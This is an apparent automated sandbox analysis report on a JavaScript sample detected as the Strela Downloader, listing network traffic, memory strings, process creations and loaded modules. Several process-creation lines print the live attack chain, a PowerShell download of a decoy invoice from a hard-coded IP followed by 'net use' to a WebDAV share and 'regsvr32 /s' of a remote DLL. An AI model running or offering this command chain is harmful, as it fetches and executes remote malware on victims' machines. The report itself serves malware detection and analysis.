Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1712049780.000002E2B62CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1763560179.000002D59349E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1763763328.000002D5934CC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1763374210.000002D593478000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1760570536.000002D59349E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1760208760.000002D5934CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1763560179.000002D59349E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1760570536.000002D59349E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/4
Source: net.exe, 00000006.00000002.1763374210.000002D593478000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000008.00000002.3010549769.0000022E5E600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1763517212.0000022E5E818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1763517212.0000022E5E818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1763517212.0000022E5E818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1763517212.0000022E5E84D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1763517212.0000022E5E8C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1763517212.0000022E5E8C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1763517212.0000022E5E8C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7512, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 853025795686920641.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7568:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dqezttdi.crn.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853025795686920641.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1684,i,4457413251022540206,16338453213962539139,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1684,i,4457413251022540206,16338453213962539139,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
